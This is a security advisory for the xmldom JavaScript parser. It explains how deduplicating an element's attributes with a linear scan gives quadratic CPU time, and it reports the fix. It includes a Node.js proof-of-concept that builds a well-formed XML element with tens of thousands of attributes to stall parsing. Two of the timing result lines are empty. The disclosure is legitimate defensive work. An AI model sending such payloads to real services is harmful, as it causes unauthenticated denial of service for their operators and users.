xmldom: Quadratic-time attribute deduplication

Summary

xmldom builds the attribute collection of every parsed element by inserting attributes one at a time into a DOM NamedNodeMap. Each insertion first performs a linear scan of all already-inserted attributes to enforce the DOM uniqueness rule (no two attributes with the same qualified name / namespace+local-name). Parsing an element that carries M distinct attributes therefore costs 1 + 2 + … + M = O(M²) comparisons.

Because the trigger is simply "one element with many attributes", the attack payload is a fully well-formed XML document. No malformed markup, no error recovery, and no non-default parser options are involved — parsing completes silently with zero warning/error/fatalError events. An attacker who can submit a modest, highly compressible document (a single element with tens of thousands of attributes, ~340 KB uncompressed) can consume seconds of single-threaded CPU per request, enabling an unauthenticated denial of service.

This is distinct from the known quadratic-memory namespace-map issue: it burns CPU and it does not require any namespace declarations or nesting.

Details

The DOM content handler adds each attribute of a starting element by calling el.setAttributeNode(attr) in a loop:

// DOMHandler.startElement
for (var i = 0; i < len; i++) {
	var namespaceURI = attrs.getURI(i);
	var value = attrs.getValue(i);
	var qName = attrs.getQName(i);
	var attr = doc.createAttributeNS(namespaceURI, qName);
	attr.value = attr.nodeValue = value;
	el.setAttributeNode(attr);          // O(existing attrs) each — see below
}

https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/dom-parser.js#L370-L387

setAttributeNode delegates to NamedNodeMap.setNamedItem, which calls getNamedItemNS to look for an existing attribute with the same namespace URI and local name before appending:

setNamedItem: function (attr) {
	var el = attr.ownerElement;
	if (el && el !== this._ownerElement) {
		throw new DOMException(DOMException.INUSE_ATTRIBUTE_ERR);
	}
	var oldAttr = this.getNamedItemNS(attr.namespaceURI, attr.localName);  // linear scan
	if (oldAttr === attr) {
		return attr;
	}
	_addNamedNode(this._ownerElement, this, attr, oldAttr);
	return oldAttr;
},

https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/dom.js#L612-L623

getNamedItemNS walks the whole list on every call:

getNamedItemNS: function (namespaceURI, localName) {
	if (!namespaceURI) {
		namespaceURI = null;
	}
	var i = 0;
	while (i < this.length) {
		var node = this[i];
		if (node.localName === localName && node.namespaceURI === namespaceURI) {
			return node;
		}
		i++;
	}
	return null;
},

https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/dom.js#L702-L715

For the i-th attribute the scan visits i-1 entries, so inserting M distinct attributes performs Θ(M²) comparisons. There is no hash index or set keyed by name; the map is a plain array-backed structure.

The same structure exists on 0.8.x. There setNamedItem dedups via getNamedItem(attr.nodeName) instead of getNamedItemNS, but that method is likewise a full linear scan, so the complexity is identical:

• startElement loop / setAttributeNode: https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/dom-parser.js#L159-L176
• setNamedItem → linear getNamedItem: https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/dom.js#L286-L308

The linear-scan NamedNodeMap predates the @xmldom/xmldom fork and is present unchanged in the unscoped xmldom package back to its earliest published release. In xmldom@0.1.0, parsing already inserts each attribute one at a time (DOMHandler.startElement loops calling setAttributeNS → setAttributeNode → NamedNodeMap.setNamedItem), and setNamedItem dedups by calling getNamedItemNS, which is a full linear while (i--) scan of the already-inserted attributes — the identical O(M²) structure. The whole unscoped line (0.1.0 … 0.6.0) is therefore affected; the earliest published tag (0.1.0) was verified to contain the per-insert linear dedup scan.

Proof of Concept

A single well-formed element with M distinct attributes. No malformed markup and no options:

'use strict';
var DOMParser = require('@xmldom/xmldom').DOMParser;

function buildDoc(m) {
	var parts = new Array(m);
	for (var i = 0; i < m; i++) parts[i] = 'a' + i + '="x"';
	return '<r ' + parts.join(' ') + '/>';   // <r a0="x" a1="x" ... a{M-1}="x"/>
}

for (var _i = 0, sizes = [2000, 4000, 8000, 16000, 32000]; _i < sizes.length; _i++) {
	var m = sizes[_i];
	var xml = buildDoc(m);
	var t0 = process.hrtime.bigint();
	var doc = new DOMParser().parseFromString(xml, 'text/xml');  // silent: no error events
	var ms = Number(process.hrtime.bigint() - t0) / 1e6;
	console.log(m + ' attrs, ' + xml.length + ' bytes -> ' + ms.toFixed(1) + ' ms; parsed=' +
		doc.documentElement.attributes.length);
}

Measured with Node.js v18.20.8 (wall-clock; absolute numbers vary by host, the scaling is the load-bearing fact):

@xmldom/xmldom 0.9.10:

@xmldom/xmldom 0.8.13:

xmldom (unscoped) 0.6.0: 4000 → 28.2 ms, 8000 → 131.8 ms, 16000 → 545.2 ms (≈ ×4 per doubling).

Time grows ≈ ×4 per doubling of M — quadratic. About 340 KB of well-formed input costs ~1.6–2.1 s of single-threaded CPU, and it keeps scaling: doubling the attribute count quadruples the cost. The document is trivially generated and compresses to a few kilobytes on the wire.

Impact

Unauthenticated, remotely triggerable denial of service against any service that parses attacker-influenced XML/HTML with xmldom. A single request holds one event-loop thread for seconds; a handful of concurrent requests can saturate CPU and stall the process. Because the payload is a plain well-formed document (one element, many attributes), it passes any "must be well-formed" gate and reaches the parser before any application-level validation (e.g. schema checks or signature verification) can run. The payload is highly compressible, so it is effective over compressed transports.

Fix Applied

Replaced the per-insert linear duplicate scan on the parse-time dedup path with a name-keyed index, so de-duplicating an element's attributes during parse is O(M) instead of O(M²) — a well-formed-but-hostile attribute list can no longer wedge the parse. Behavior-preserving: attribute order and duplicate resolution (last value wins, first position kept) are byte-identical. Non-breaking and independent of requireWellFormed; ships on both maintained versions.